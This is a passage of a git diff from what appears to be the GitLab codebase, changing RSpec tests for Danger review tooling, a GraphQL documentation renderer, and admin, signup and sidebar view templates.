+ subject(:product_intelligence) { fake_danger.new(helper: fake_helper) }
+
+ let(:fake_danger) { DangerSpecHelper.fake_danger.include(described_class) }
+ let(:changed_files) { ['metrics/counts_7d/test_metric.yml', 'doc/development/usage_ping/dictionary.md'] }
+ let(:changed_lines) { ['+tier: ee'] }
+
+ before do
+ allow(fake_helper).to receive(:all_changed_files).and_return(changed_files)
+ allow(fake_helper).to receive(:changed_lines).and_return(changed_lines)
+ end
+
+ describe '#need_dictionary_changes?' do
+ subject { product_intelligence.need_dictionary_changes? }
+
+ context 'when changed files do not contain dictionary changes' do
+ let(:changed_files) { ['config/metrics/counts_7d/test_metric.yml'] }
+
+ it { is_expected.to be true }
+ end
+
+ context 'when changed files already contains dictionary changes' do
+ let(:changed_files) { ['doc/development/usage_ping/dictionary.md'] }
+
+ it { is_expected.to be false }
+ end
+ end
+
+ describe '#missing_labels' do
+ subject { product_intelligence.missing_labels }
+
+ let(:ci_env) { true }
+
+ before do
+ allow(fake_helper).to receive(:mr_has_labels?).and_return(false)
+ allow(fake_helper).to receive(:ci?).and_return(ci_env)
+ end
+
+ context 'with ci? false' do
+ let(:ci_env) { false }
+
+ it { is_expected.to be_empty }
+ end
+
+ context 'with ci? true' do
+ let(:expected_labels) { ['product intelligence', 'product intelligence::review pending'] }
+
+ it { is_expected.to match_array(expected_labels) }
+ end
+
+ context 'with product intelligence label' do
+ let(:expected_labels) { ['product intelligence::review pending'] }
+
+ before do
+ allow(fake_helper).to receive(:mr_has_labels?).with('product intelligence').and_return(true)
+ end
+
+ it { is_expected.to match_array(expected_labels) }
+ end
+
+ context 'with product intelligence::review pending' do
+ before do
+ allow(fake_helper).to receive(:mr_has_labels?).and_return(true)
+ end
+
+ it { is_expected.to be_empty }
+ end
+ end
+
+ describe '#matching_changed_files' do
+ subject { product_intelligence.matching_changed_files }
+
+ let(:changed_files) do
+ [
+ 'dashboard/todos_controller.rb',
+ 'components/welcome.vue',
+ 'admin/groups/_form.html.haml'
+ ]
+ end
+
+ context 'with snowplow files changed' do
+ context 'when vue file changed' do
+ let(:changed_lines) { ['+data-track-event'] }
+
+ it { is_expected.to match_array(['components/welcome.vue']) }
+ end
+
+ context 'when haml file changed' do
+ let(:changed_lines) { ['+ data: { track_label:'] }
+
+ it { is_expected.to match_array(['admin/groups/_form.html.haml']) }
+ end
+
+ context 'when ruby file changed' do
+ let(:changed_lines) { ['+ Gitlab::Tracking.event'] }
+ let(:changed_files) { ['dashboard/todos_controller.rb', 'admin/groups/_form.html.haml'] }
+
+ it { is_expected.to match_array(['dashboard/todos_controller.rb']) }
+ end
+ end
+
+ context 'with dictionary file not changed' do
+ it { is_expected.to be_empty }
+ end
+
+ context 'with metrics files changed' do
+ let(:changed_files) { ['config/metrics/counts_7d/test_metric.yml', 'ee/config/metrics/counts_7d/ee_metric.yml'] }
+
+ it { is_expected.to match_array(changed_files) }
+ end
+
+ context 'with metrics files not changed' do
+ it { is_expected.to be_empty }
+ end
+
+ context 'with tracking files changed' do
+ let(:changed_files) do
+ [
+ 'lib/gitlab/tracking.rb',
+ 'spec/lib/gitlab/tracking_spec.rb',
+ 'app/helpers/tracking_helper.rb'
+ ]
+ end
+
+ it { is_expected.to match_array(changed_files) }
+ end
+
+ context 'with usage_data files changed' do
+ let(:changed_files) do
+ [
+ 'doc/api/usage_data.md',
+ 'ee/lib/ee/gitlab/usage_data.rb',
+ 'spec/lib/gitlab/usage_data_spec.rb'
+ ]
+ end
+
+ it { is_expected.to match_array(changed_files) }
+ end
+ end
+end
diff --git a/spec/tooling/danger/project_helper_spec.rb b/spec/tooling/danger/project_helper_spec.rb
index 1d2ea0f5ba3..7474709d255 100644
--- a/spec/tooling/danger/project_helper_spec.rb
+++ b/spec/tooling/danger/project_helper_spec.rb
@@ -112,10 +112,10 @@ RSpec.describe Tooling::Danger::ProjectHelper do
'FOO_VERSION' | [:backend]
'Dangerfile' | [:engineering_productivity]
- 'danger/commit_messages/Dangerfile' | [:engineering_productivity]
- 'ee/danger/commit_messages/Dangerfile' | [:engineering_productivity]
- 'danger/commit_messages/' | [:engineering_productivity]
- 'ee/danger/commit_messages/' | [:engineering_productivity]
+ 'danger/bundle_size/Dangerfile' | [:engineering_productivity]
+ 'ee/danger/bundle_size/Dangerfile' | [:engineering_productivity]
+ 'danger/bundle_size/' | [:engineering_productivity]
+ 'ee/danger/bundle_size/' | [:engineering_productivity]
'.gitlab-ci.yml' | [:engineering_productivity]
'.gitlab/ci/cng.gitlab-ci.yml' | [:engineering_productivity]
'.gitlab/ci/ee-specific-checks.gitlab-ci.yml' | [:engineering_productivity]
@@ -139,18 +139,18 @@ RSpec.describe Tooling::Danger::ProjectHelper do
'db/post_migrate/foo' | [:database, :migration]
'ee/db/geo/migrate/foo' | [:database, :migration]
'ee/db/geo/post_migrate/foo' | [:database, :migration]
- 'app/models/project_authorization.rb' | [:database]
- 'app/services/users/refresh_authorized_projects_service.rb' | [:database]
- 'app/services/authorized_project_update/find_records_due_for_refresh_service.rb' | [:database]
- 'lib/gitlab/background_migration.rb' | [:database]
- 'lib/gitlab/background_migration/foo' | [:database]
- 'ee/lib/gitlab/background_migration/foo' | [:database]
- 'lib/gitlab/database.rb' | [:database]
- 'lib/gitlab/database/foo' | [:database]
- 'ee/lib/gitlab/database/foo' | [:database]
- 'lib/gitlab/github_import.rb' | [:database]
- 'lib/gitlab/github_import/foo' | [:database]
- 'lib/gitlab/sql/foo' | [:database]
+ 'app/models/project_authorization.rb' | [:database, :backend]
+ 'app/services/users/refresh_authorized_projects_service.rb' | [:database, :backend]
+ 'app/services/authorized_project_update/find_records_due_for_refresh_service.rb' | [:database, :backend]
+ 'lib/gitlab/background_migration.rb' | [:database, :backend]
+ 'lib/gitlab/background_migration/foo' | [:database, :backend]
+ 'ee/lib/gitlab/background_migration/foo' | [:database, :backend]
+ 'lib/gitlab/database.rb' | [:database, :backend]
+ 'lib/gitlab/database/foo' | [:database, :backend]
+ 'ee/lib/gitlab/database/foo' | [:database, :backend]
+ 'lib/gitlab/github_import.rb' | [:database, :backend]
+ 'lib/gitlab/github_import/foo' | [:database, :backend]
+ 'lib/gitlab/sql/foo' | [:database, :backend]
'rubocop/cop/migration/foo' | [:database]
'db/fixtures/foo.rb' | [:backend]
@@ -162,8 +162,6 @@ RSpec.describe Tooling::Danger::ProjectHelper do
'workhorse/main.go' | [:workhorse]
'workhorse/internal/upload/upload.go' | [:workhorse]
- 'changelogs/foo' | [:none]
- 'ee/changelogs/foo' | [:none]
'locale/gitlab.pot' | [:none]
'FOO' | [:unknown]
@@ -220,7 +218,7 @@ RSpec.describe Tooling::Danger::ProjectHelper do
describe '.local_warning_message' do
it 'returns an informational message with rules that can run' do
- expect(described_class.local_warning_message).to eq('==> Only the following Danger rules can be run locally: changelog, commit_messages, database, datateam, documentation, duplicate_yarn_dependencies, eslint, karma, pajamas, pipeline, prettier, product_intelligence, utility_css')
+ expect(described_class.local_warning_message).to eq('==> Only the following Danger rules can be run locally: changelog, database, datateam, documentation, duplicate_yarn_dependencies, eslint, karma, pajamas, pipeline, prettier, product_intelligence, utility_css')
end
end
diff --git a/spec/tooling/graphql/docs/renderer_spec.rb b/spec/tooling/graphql/docs/renderer_spec.rb
new file mode 100644
index 00000000000..50ebb754ca4
--- /dev/null
+++ b/spec/tooling/graphql/docs/renderer_spec.rb
@@ -0,0 +1,643 @@
+# frozen_string_literal: true
+
+require_relative '../../../../tooling/graphql/docs/renderer'
+
+RSpec.describe Tooling::Graphql::Docs::Renderer do
+ describe '#contents' do
+ shared_examples 'renders correctly as GraphQL documentation' do
+ it 'contains the expected section' do
+ # duplicative - but much better error messages!
+ section.lines.each { |line| expect(contents).to include(line) }
+ expect(contents).to include(section)
+ end
+ end
+
+ let(:template) { Rails.root.join('tooling/graphql/docs/templates/default.md.haml') }
+ let(:field_description) { 'List of objects.' }
+ let(:type) { ::GraphQL::INT_TYPE }
+
+ let(:query_type) do
+ Class.new(Types::BaseObject) { graphql_name 'Query' }.tap do |t|
+ # this keeps type and field_description in scope.
+ t.field :foo, type, null: true, description: field_description do
+ argument :id, GraphQL::ID_TYPE, required: false, description: 'ID of the object.'
+ end
+ end
+ end
+
+ let(:mutation_root) do
+ Class.new(::Types::BaseObject) do
+ include ::Gitlab::Graphql::MountMutation
+ graphql_name 'Mutation'
+ end
+ end
+
+ let(:mock_schema) do
+ Class.new(GraphQL::Schema) do
+ def resolve_type(obj, ctx)
+ raise 'Not a real schema'
+ end
+ end
+ end
+
+ subject(:contents) do
+ mock_schema.query(query_type)
+ mock_schema.mutation(mutation_root) if mutation_root.fields.any?
+
+ described_class.new(
+ mock_schema,
+ output_dir: nil,
+ template: template
+ ).contents
+ end
+
+ describe 'headings' do
+ it 'contains the expected sections' do
+ expect(contents.lines.map(&:chomp)).to include(
+ '## `Query` type',
+ '## `Mutation` type',
+ '## Connections',
+ '## Object types',
+ '## Enumeration types',
+ '## Scalar types',
+ '## Abstract types',
+ '### Unions',
+ '### Interfaces',
+ '## Input types'
+ )
+ end
+ end
+
+ context 'when a field has a list type' do
+ let(:type) do
+ Class.new(Types::BaseObject) do
+ graphql_name 'ArrayTest'
+
+ field :foo, [GraphQL::STRING_TYPE], null: false, description: 'A description.'
+ end
+ end
+
+ specify do
+ type_name = '[String!]!'
+ inner_type = 'string'
+ expectation = <<~DOC
+ ### `ArrayTest`
+
+ #### Fields
+
+ | Name | Type | Description |
+ | ---- | ---- | ----------- |
+ | <a id="arraytestfoo"></a>`foo` | [`#{type_name}`](##{inner_type}) | A description. |
+ DOC
+
+ is_expected.to include(expectation)
+ end
+
+ describe 'a top level query field' do
+ let(:expectation) do
+ <<~DOC
+ ### `Query.foo`
+
+ List of objects.
+
+ Returns [`ArrayTest`](#arraytest).
+
+ #### Arguments
+
+ | Name | Type | Description |
+ | ---- | ---- | ----------- |
+ | <a id="queryfooid"></a>`id` | [`ID`](#id) | ID of the object. |
+ DOC
+ end
+
+ it 'generates the query with arguments' do
+ expect(subject).to include(expectation)
+ end
+
+ context 'when description does not end with `.`' do
+ let(:field_description) { 'List of objects' }
+
+ it 'adds the `.` to the end' do
+ expect(subject).to include(expectation)
+ end
+ end
+ end
+ end
+
+ describe 'when fields are not defined in alphabetical order' do
+ let(:type) do
+ Class.new(Types::BaseObject) do
+ graphql_name 'OrderingTest'
+
+ field :foo, GraphQL::STRING_TYPE, null: false, description: 'A description of foo field.'
+ field :bar, GraphQL::STRING_TYPE, null: false, description: 'A description of bar field.'
+ end
+ end
+
+ it 'lists the fields in alphabetical order' do
+ expectation = <<~DOC
+ ### `OrderingTest`
+
+ #### Fields
+
+ | Name | Type | Description |
+ | ---- | ---- | ----------- |
+ | <a id="orderingtestbar"></a>`bar` | [`String!`](#string) | A description of bar field. |
+ | <a id="orderingtestfoo"></a>`foo` | [`String!`](#string) | A description of foo field. |
+ DOC
+
+ is_expected.to include(expectation)
+ end
+ end
+
+ context 'when a field has a documentation reference' do
+ let(:type) do
+ wibble = Class.new(::Types::BaseObject) do
+ graphql_name 'Wibble'
+ field :x, ::GraphQL::INT_TYPE, null: false
+ end
+
+ Class.new(Types::BaseObject) do
+ graphql_name 'DocRefSpec'
+ description 'Testing doc refs'
+
+ field :foo,
+ type: GraphQL::STRING_TYPE,
+ null: false,
+ description: 'The foo.',
+ see: { 'A list of foos' => 'https://example.com/foos' }
+ field :bar,
+ type: GraphQL::STRING_TYPE,
+ null: false,
+ description: 'The bar.',
+ see: { 'A list of bars' => 'https://example.com/bars' } do
+ argument :barity, ::GraphQL::INT_TYPE, required: false, description: '?'
+ end
+ field :wibbles,
+ type: wibble.connection_type,
+ null: true,
+ description: 'The wibbles',
+ see: { 'wibblance' => 'https://example.com/wibbles' }
+ end
+ end
+
+ let(:section) do
+ <<~DOC
+ ### `DocRefSpec`
+
+ Testing doc refs.
+
+ #### Fields
+
+ | Name | Type | Description |
+ | ---- | ---- | ----------- |
+ | <a id="docrefspecfoo"></a>`foo` | [`String!`](#string) | The foo. See [A list of foos](https://example.com/foos). |
+ | <a id="docrefspecwibbles"></a>`wibbles` | [`WibbleConnection`](#wibbleconnection) | The wibbles. See [wibblance](https://example.com/wibbles). (see [Connections](#connections)) |
+
+ #### Fields with arguments
+
+ ##### `DocRefSpec.bar`
+
+ The bar. See [A list of bars](https://example.com/bars).
+
+ Returns [`String!`](#string).
+
+ ###### Arguments
+
+ | Name | Type | Description |
+ | ---- | ---- | ----------- |
+ | <a id="docrefspecbarbarity"></a>`barity` | [`Int`](#int) | ?. |
+ DOC
+ end
+
+ it_behaves_like 'renders correctly as GraphQL documentation'
+ end
+
+ context 'when an argument is deprecated' do
+ let(:type) do
+ Class.new(Types::BaseObject) do
+ graphql_name 'DeprecatedTest'
+ description 'A thing we used to use, but no longer support'
+
+ field :foo,
+ type: GraphQL::STRING_TYPE,
+ null: false,
+ description: 'A description.' do
+ argument :foo_arg, GraphQL::STRING_TYPE,
+ required: false,
+ description: 'The argument.',
+ deprecated: { reason: 'Bad argument', milestone: '101.2' }
+ end
+ end
+ end
+
+ let(:section) do
+ <<~DOC
+ ##### `DeprecatedTest.foo`
+
+ A description.
+
+ Returns [`String!`](#string).
+
+ ###### Arguments
+
+ | Name | Type | Description |
+ | ---- | ---- | ----------- |
+ | <a id="deprecatedtestfoofooarg"></a>`fooArg` **{warning-solid}** | [`String`](#string) | **Deprecated** in 101.2. Bad argument. |
+ DOC
+ end
+
+ it_behaves_like 'renders correctly as GraphQL documentation'
+ end
+
+ context 'when a field is deprecated' do
+ let(:type) do
+ Class.new(Types::BaseObject) do
+ graphql_name 'DeprecatedTest'
+ description 'A thing we used to use, but no longer support'
+
+ field :foo,
+ type: GraphQL::STRING_TYPE,
+ null: false,
+ deprecated: { reason: 'This is deprecated', milestone: '1.10' },
+ description: 'A description.'
+ field :foo_with_args,
+ type: GraphQL::STRING_TYPE,
+ null: false,
+ deprecated: { reason: 'Do not use', milestone: '1.10', replacement: 'X.y' },
+ description: 'A description.' do
+ argument :arg, GraphQL::INT_TYPE, required: false, description: 'Argity'
+ end
+ field :bar,
+ type: GraphQL::STRING_TYPE,
+ null: false,
+ description: 'A description.',
+ deprecated: {
+ reason: :renamed,
+ milestone: '1.10',
+ replacement: 'Query.boom'
+ }
+ end
+ end
+
+ let(:section) do
+ <<~DOC
+ ### `DeprecatedTest`
+
+ A thing we used to use, but no longer support.
+
+ #### Fields
+
+ | Name | Type | Description |
+ | ---- | ---- | ----------- |
+ | <a id="deprecatedtestbar"></a>`bar` **{warning-solid}** | [`String!`](#string) | **Deprecated** in 1.10. This was renamed. Use: [`Query.boom`](#queryboom). |
+ | <a id="deprecatedtestfoo"></a>`foo` **{warning-solid}** | [`String!`](#string) | **Deprecated** in 1.10. This is deprecated. |
+
+ #### Fields with arguments
+
+ ##### `DeprecatedTest.fooWithArgs`
+
+ A description.
+
+ WARNING:
+ **Deprecated** in 1.10.
+ Do not use.
+ Use: [`X.y`](#xy).
+
+ Returns [`String!`](#string).
+
+ ###### Arguments
+
+ | Name | Type | Description |
+ | ---- | ---- | ----------- |
+ | <a id="deprecatedtestfoowithargsarg"></a>`arg` | [`Int`](#int) | Argity. |
+ DOC
+ end
+
+ it_behaves_like 'renders correctly as GraphQL documentation'
+ end
+
+ context 'when a Query.field is deprecated' do
+ before do
+ query_type.field(
+ name: :bar,
+ type: type,
+ null: true,
+ description: 'A bar',
+ deprecated: { reason: :renamed, milestone: '10.11', replacement: 'Query.foo' }
+ )
+ end
+
+ let(:type) { ::GraphQL::INT_TYPE }
+ let(:section) do
+ <<~DOC
+ ### `Query.bar`
+
+ A bar.
+
+ WARNING:
+ **Deprecated** in 10.11.
+ This was renamed.
+ Use: [`Query.foo`](#queryfoo).
+
+ Returns [`Int`](#int).
+ DOC
+ end
+
+ it_behaves_like 'renders correctly as GraphQL documentation'
+ end
+
+ context 'when a field has an Enumeration type' do
+ let(:type) do
+ enum_type = Class.new(Types::BaseEnum) do
+ graphql_name 'MyEnum'
+ description 'A test of an enum.'
+
+ value 'BAZ',
+ description: 'A description of BAZ.'
+ value 'BAR',
+ description: 'A description of BAR.',
+ deprecated: { reason: 'This is deprecated', milestone: '1.10' }
+ value 'BOOP',
+ description: 'A description of BOOP.',
+ deprecated: { reason: :renamed, replacement: 'MyEnum.BAR', milestone: '1.10' }
+ end
+
+ Class.new(Types::BaseObject) do
+ graphql_name 'EnumTest'
+
+ field :foo, enum_type, null: false, description: 'A description of foo field.'
+ end
+ end
+
+ let(:section) do
+ <<~DOC
+ ### `MyEnum`
+
+ A test of an enum.
+
+ | Value | Description |
+ | ----- | ----------- |
+ | <a id="myenumbar"></a>`BAR` **{warning-solid}** | **Deprecated** in 1.10. This is deprecated. |
+ | <a id="myenumbaz"></a>`BAZ` | A description of BAZ. |
+ | <a id="myenumboop"></a>`BOOP` **{warning-solid}** | **Deprecated** in 1.10. This was renamed. Use: [`MyEnum.BAR`](#myenumbar). |
+ DOC
+ end
+
+ it_behaves_like 'renders correctly as GraphQL documentation'
+ end
+
+ context 'when a field has a global ID type' do
+ let(:type) do
+ Class.new(Types::BaseObject) do
+ graphql_name 'IDTest'
+ description 'A test for rendering IDs.'
+
+ field :foo, ::Types::GlobalIDType[::User], null: true, description: 'A user foo.'
+ end
+ end
+
+ describe 'section for IDTest' do
+ let(:section) do
+ <<~DOC
+ ### `IDTest`
+
+ A test for rendering IDs.
+
+ #### Fields
+
+ | Name | Type | Description |
+ | ---- | ---- | ----------- |
+ | <a id="idtestfoo"></a>`foo` | [`UserID`](#userid) | A user foo. |
+ DOC
+ end
+
+ it_behaves_like 'renders correctly as GraphQL documentation'
+ end
+
+ describe 'section for UserID' do
+ let(:section) do
+ <<~DOC
+ ### `UserID`
+
+ A `UserID` is a global ID. It is encoded as a string.
+
+ An example `UserID` is: `"gid://gitlab/User/1"`.
+ DOC
+ end
+
+ it_behaves_like 'renders correctly as GraphQL documentation'
+ end
+ end
+
+ context 'when there is a mutation' do
+ let(:mutation) do
+ mutation = Class.new(::Mutations::BaseMutation)
+
+ mutation.graphql_name 'MakeItPretty'
+ mutation.description 'Make everything very pretty.'
+
+ mutation.argument :prettiness_factor,
+ type: GraphQL::FLOAT_TYPE,
+ required: true,
+ description: 'How much prettier?'
+
+ mutation.argument :pulchritude,
+ type: GraphQL::FLOAT_TYPE,
+ required: false,
+ description: 'How much prettier?',
+ deprecated: {
+ reason: :renamed,
+ replacement: 'prettinessFactor',
+ milestone: '72.34'
+ }
+
+ mutation.field :everything,
+ type: GraphQL::STRING_TYPE,
+ null: true,
+ description: 'What we made prettier.'
+
+ mutation.field :omnis,
+ type: GraphQL::STRING_TYPE,
+ null: true,
+ description: 'What we made prettier.',
+ deprecated: {
+ reason: :renamed,
+ replacement: 'everything',
+ milestone: '72.34'
+ }
+
+ mutation
+ end
+
+ before do
+ mutation_root.mount_mutation mutation
+ end
+
+ it_behaves_like 'renders correctly as GraphQL documentation' do
+ let(:section) do
+ <<~DOC
+ ### `Mutation.makeItPretty`
+
+ Make everything very pretty.
+
+ Input type: `MakeItPrettyInput`
+
+ #### Arguments
+
+ | Name | Type | Description |
+ | ---- | ---- | ----------- |
+ | <a id="mutationmakeitprettyclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. |
+ | <a id="mutationmakeitprettyprettinessfactor"></a>`prettinessFactor` | [`Float!`](#float) | How much prettier?. |
+ | <a id="mutationmakeitprettypulchritude"></a>`pulchritude` **{warning-solid}** | [`Float`](#float) | **Deprecated:** This was renamed. Please use `prettinessFactor`. Deprecated in 72.34. |
+
+ #### Fields
+
+ | Name | Type | Description |
+ | ---- | ---- | ----------- |
+ | <a id="mutationmakeitprettyclientmutationid"></a>`clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. |
+ | <a id="mutationmakeitprettyerrors"></a>`errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. |
+ | <a id="mutationmakeitprettyeverything"></a>`everything` | [`String`](#string) | What we made prettier. |
+ | <a id="mutationmakeitprettyomnis"></a>`omnis` **{warning-solid}** | [`String`](#string) | **Deprecated:** This was renamed. Please use `everything`. Deprecated in 72.34. |
+ DOC
+ end
+ end
+
+ it 'does not render the automatically generated payload type' do
+ expect(contents).not_to include('MakeItPrettyPayload')
+ end
+
+ it 'does not render the automatically generated input type as its own section' do
+ expect(contents).not_to include('# `MakeItPrettyInput`')
+ end
+ end
+
+ context 'when there is an input type' do
+ let(:type) do
+ Class.new(::Types::BaseObject) do
+ graphql_name 'Foo'
+ field :wibble, type: ::GraphQL::INT_TYPE, null: true do
+ argument :date_range,
+ type: ::Types::TimeframeInputType,
+ required: true,
+ description: 'When the foo happened.'
+ end
+ end
+ end
+
+ let(:section) do
+ <<~DOC
+ ### `Timeframe`
+
+ A time-frame defined as a closed inclusive range of two dates.
+
+ #### Arguments
+
+ | Name | Type | Description |
+ | ---- | ---- | ----------- |
+ | <a id="timeframeend"></a>`end` | [`Date!`](#date) | The end of the range. |
+ | <a id="timeframestart"></a>`start` | [`Date!`](#date) | The start of the range. |
+ DOC
+ end
+
+ it_behaves_like 'renders correctly as GraphQL documentation'
+ end
+
+ context 'when there is an interface and a union' do
+ let(:type) do
+ user = Class.new(::Types::BaseObject)
+ user.graphql_name 'User'
+ user.field :user_field, ::GraphQL::STRING_TYPE, null: true
+ group = Class.new(::Types::BaseObject)
+ group.graphql_name 'Group'
+ group.field :group_field, ::GraphQL::STRING_TYPE, null: true
+
+ union = Class.new(::Types::BaseUnion)
+ union.graphql_name 'UserOrGroup'
+ union.description 'Either a user or a group.'
+ union.possible_types user, group
+
+ interface = Module.new
+ interface.include(::Types::BaseInterface)
+ interface.graphql_name 'Flying'
+ interface.description 'Something that can fly.'
+ interface.field :flight_speed, GraphQL::INT_TYPE, null: true, description: 'Speed in mph.'
+
+ african_swallow = Class.new(::Types::BaseObject)
+ african_swallow.graphql_name 'AfricanSwallow'
+ african_swallow.description 'A swallow from Africa.'
+ african_swallow.implements interface
+ interface.orphan_types african_swallow
+
+ Class.new(::Types::BaseObject) do
+ graphql_name 'AbstractTypeTest'
+ description 'A test for abstract types.'
+
+ field :foo, union, null: true, description: 'The foo.'
+ field :flying, interface, null: true, description: 'A flying thing.'
+ end
+ end
+
+ it 'lists the fields correctly, and includes descriptions of all the types' do
+ type_section = <<~DOC
+ ### `AbstractTypeTest`
+
+ A test for abstract types.
+
+ #### Fields
+
+ | Name | Type | Description |
+ | ---- | ---- | ----------- |
+ | <a id="abstracttypetestflying"></a>`flying` | [`Flying`](#flying) | A flying thing. |
+ | <a id="abstracttypetestfoo"></a>`foo` | [`UserOrGroup`](#userorgroup) | The foo. |
+ DOC
+
+ union_section = <<~DOC
+ #### `UserOrGroup`
+
+ Either a user or a group.
+
+ One of:
+
+ - [`Group`](#group)
+ - [`User`](#user)
+ DOC
+
+ interface_section = <<~DOC
+ #### `Flying`
+
+ Something that can fly.
+
+ Implementations:
+
+ - [`AfricanSwallow`](#africanswallow)
+
+ ##### Fields
+
+ | Name | Type | Description |
+ | ---- | ---- | ----------- |
+ | <a id="flyingflightspeed"></a>`flightSpeed` | [`Int`](#int) | Speed in mph. |
+ DOC
+
+ implementation_section = <<~DOC
+ ### `AfricanSwallow`
+
+ A swallow from Africa.
+
+ #### Fields
+
+ | Name | Type | Description |
+ | ---- | ---- | ----------- |
+ | <a id="africanswallowflightspeed"></a>`flightSpeed` | [`Int`](#int) | Speed in mph. |
+ DOC
+
+ is_expected.to include(
+ type_section,
+ union_section,
+ interface_section,
+ implementation_section
+ )
+ end
+ end
+ end
+end
diff --git a/spec/views/admin/users/_user.html.haml_spec.rb b/spec/views/admin/users/_user.html.haml_spec.rb
deleted file mode 100644
index aed05e4ea9b..00000000000
--- a/spec/views/admin/users/_user.html.haml_spec.rb
+++ /dev/null
@@ -1,51 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe 'admin/users/_user.html.haml' do
- before do
- allow(view).to receive(:user).and_return(user)
- end
-
- context 'internal users' do
- context 'when showing a `Ghost User`' do
- let(:user) { create(:user, :ghost) }
-
- it 'does not render action buttons' do
- render
-
- expect(rendered).not_to have_selector('.table-action-buttons')
- end
- end
-
- context 'when showing a `Bot User`' do
- let(:user) { create(:user, user_type: :alert_bot) }
-
- it 'does not render action buttons' do
- render
-
- expect(rendered).not_to have_selector('.table-action-buttons')
- end
- end
-
- context 'when showing a `Migration User`' do
- let(:user) { create(:user, user_type: :migration_bot) }
-
- it 'does not render action buttons' do
- render
-
- expect(rendered).not_to have_selector('.table-action-buttons')
- end
- end
- end
-
- context 'when showing an external user' do
- let(:user) { create(:user) }
-
- it 'renders action buttons' do
- render
-
- expect(rendered).to have_selector('.table-action-buttons')
- end
- end
-end
diff --git a/spec/views/devise/shared/_signup_box.html.haml_spec.rb b/spec/views/devise/shared/_signup_box.html.haml_spec.rb
index b73e32fa765..6efb2730964 100644
--- a/spec/views/devise/shared/_signup_box.html.haml_spec.rb
+++ b/spec/views/devise/shared/_signup_box.html.haml_spec.rb
@@ -9,7 +9,7 @@ RSpec.describe 'devise/shared/_signup_box' do
allow(view).to receive(:url).and_return('_url_')
allow(view).to receive(:terms_path).and_return('_terms_path_')
allow(view).to receive(:button_text).and_return('_button_text_')
- allow(view).to receive(:suggestion_path).and_return('_suggestion_path_')
+ allow(view).to receive(:signup_username_data_attributes).and_return({})
stub_template 'devise/shared/_error_messages.html.haml' => ''
end
diff --git a/spec/views/layouts/header/_new_dropdown.haml_spec.rb b/spec/views/layouts/header/_new_dropdown.haml_spec.rb
index bf81ab577f7..319e7b55fc3 100644
--- a/spec/views/layouts/header/_new_dropdown.haml_spec.rb
+++ b/spec/views/layouts/header/_new_dropdown.haml_spec.rb
@@ -52,7 +52,6 @@ RSpec.describe 'layouts/header/_new_dropdown' do
end
it 'has a "New project" link' do
- render('layouts/header/new_repo_experiment')
render
expect(rendered).to have_link('New project', href: new_project_path(namespace_id: group.id))
@@ -164,7 +163,6 @@ RSpec.describe 'layouts/header/_new_dropdown' do
end
it 'has a "New project" link' do
- render('layouts/header/new_repo_experiment')
render
expect(rendered).to have_link('New project', href: new_project_path)
@@ -182,13 +180,13 @@ RSpec.describe 'layouts/header/_new_dropdown' do
expect(rendered).to have_link('New snippet', href: new_snippet_path)
end
- context 'when the user is not allowed to create snippets' do
+ context 'when the user is not allowed to do anything' do
let(:user) { create(:user, :external) }
- it 'has no "New snippet" link' do
- render
-
- expect(rendered).not_to have_link('New snippet', href: new_snippet_path)
+ it 'is nil' do
+ # We have to us `view.render` because `render` causes issues
+ # https://github.com/rails/rails/issues/41320
+ expect(view.render("layouts/header/new_dropdown")).to be_nil
end
end
end
diff --git a/spec/views/layouts/nav/sidebar/_group.html.haml_spec.rb b/spec/views/layouts/nav/sidebar/_group.html.haml_spec.rb
index d96052d4c03..50390964e1b 100644
--- a/spec/views/layouts/nav/sidebar/_group.html.haml_spec.rb
+++ b/spec/views/layouts/nav/sidebar/_group.html.haml_spec.rb
@@ -12,11 +12,19 @@ RSpec.describe 'layouts/nav/sidebar/_group' do
it_behaves_like 'has nav sidebar'
it_behaves_like 'sidebar includes snowplow attributes', 'render', 'groups_side_navigation', 'groups_side_navigation'
- describe 'Group information' do
+ describe 'Group context menu' do
it 'has a link to the group path' do
render
- expect(rendered).to have_link('Group information', href: group_path(group))
+ expect(rendered).to have_link(group.name, href: group_path(group))
+ end
+ end
+
+ describe 'Group information' do
+ it 'has a link to the group activity path' do
+ render
+
+ expect(rendered).to have_link('Group information', href: activity_group_path(group))
end
it 'does not have a link to the details menu item' do
diff --git a/spec/views/layouts/nav/sidebar/_project.html.haml_spec.rb b/spec/views/layouts/nav/sidebar/_project.html.haml_spec.rb
index 7cb49f635af..c775574091e 100644
--- a/spec/views/layouts/nav/sidebar/_project.html.haml_spec.rb
+++ b/spec/views/layouts/nav/sidebar/_project.html.haml_spec.rb
@@ -19,21 +19,32 @@ RSpec.describe 'layouts/nav/sidebar/_project' do
it_behaves_like 'has nav sidebar'
- describe 'Project information' do
+ describe 'Project context' do
it 'has a link to the project path' do
render
- expect(rendered).to have_link('Project information', href: project_path(project), class: %w(shortcuts-project rspec-project-link))
+ expect(rendered).to have_link(project.name, href: project_path(project), class: %w(shortcuts-project rspec-project-link))
+ expect(rendered).to have_selector("[aria-label=\"#{project.name}\"]")
+ end
+ end
+
+ describe 'Project information' do
+ it 'has a link to the project activity path' do
+ render
+
+ expect(rendered).to have_link('Project information', href: activity_project_path(project), class: %w(shortcuts-project-information))
expect(rendered).to have_selector('[aria-label="Project information"]')
end
context 'when feature flag :sidebar_refactor is disabled' do
- it 'has a link to the project path' do
+ before do
stub_feature_flags(sidebar_refactor: false)
+ end
+ it 'has a link to the project path' do
render
- expect(rendered).to have_link('Project overview', href: project_path(project), class: %w(shortcuts-project rspec-project-link))
+ expect(rendered).to have_link('Project overview', href: project_path(project), class: %w(shortcuts-project))
expect(rendered).to have_selector('[aria-label="Project overview"]')
end
end
@@ -89,7 +100,7 @@ RSpec.describe 'layouts/nav/sidebar/_project' do
it 'has a link to the labels path' do
render
- expect(page.at_css('.shortcuts-project').parent.css('[aria-label="Labels"]')).not_to be_empty
+ expect(page.at_css('.shortcuts-project-information').parent.css('[aria-label="Labels"]')).not_to be_empty
expect(rendered).to have_link('Labels', href: project_labels_path(project))
end
@@ -110,7 +121,7 @@ RSpec.describe 'layouts/nav/sidebar/_project' do
it 'has a link to the members page' do
render
- expect(page.at_css('.shortcuts-project').parent.css('[aria-label="Members"]')).not_to be_empty
+ expect(page.at_css('.shortcuts-project-information').parent.css('[aria-label="Members"]')).not_to be_empty
